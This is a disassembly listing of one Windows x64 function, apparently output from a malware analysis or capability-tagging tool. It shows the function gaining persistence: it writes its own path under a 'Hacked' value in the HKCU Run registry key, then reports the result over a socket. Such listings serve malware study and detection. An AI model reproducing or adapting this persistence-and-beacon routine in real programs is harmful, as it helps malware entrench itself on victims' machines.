Function at 0x1400016d0
Capabilities:
Persist via run registry key
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
movabs rax, 0xa64656c696146
mov edx, 0
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rdx
mov qword [rbp + 0x160], 0
mov qword [rbp + 0x168], 0
mov qword [rbp + 0x170], 0
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], 0
mov qword [rbp + 0x198], 0
mov qword [rbp + 0x1a0], 0
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], 0
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], 0
movabs rax, 0x2064657461657243
movabs rdx, 0x6574736973726550
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x3a2074412065636e
movabs rdx, 0x55435f59454b4820
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x53555f544e455252
movabs rdx, 0x7774666f535c5245
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x7263694d5c657261
movabs rdx, 0x69575c74666f736f
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x75435c73776f646e
movabs rdx, 0x726556746e657272
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x6e75525c6e6f6973
mov edx, 0xa
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x148], 0
mov dword [rbp + 0x1dc], 0
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov dword [rbp + 0x1dc], eax
cmp dword [rbp + 0x1dc], 0
jne 0x1400018ef
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp + 0x150]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x140001a05
lea rax, [rbp - 0x48]
mov r8, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
je 0x140001945
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp + 0x150]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x140001a05
mov eax, dword [rbp + 0x1dc]
mov dword [rbp + 0x1d8], eax
mov rax, qword [rbp - 0x48]
mov edx, dword [rbp + 0x1d8]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.Hacked
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
je 0x1400019c9
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp + 0x150]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x140001a05
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [0x14000a0a0]
cdqe
lea rdx, [rbp + 0xd0]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0
add rsp, 0x260
pop rbp
ret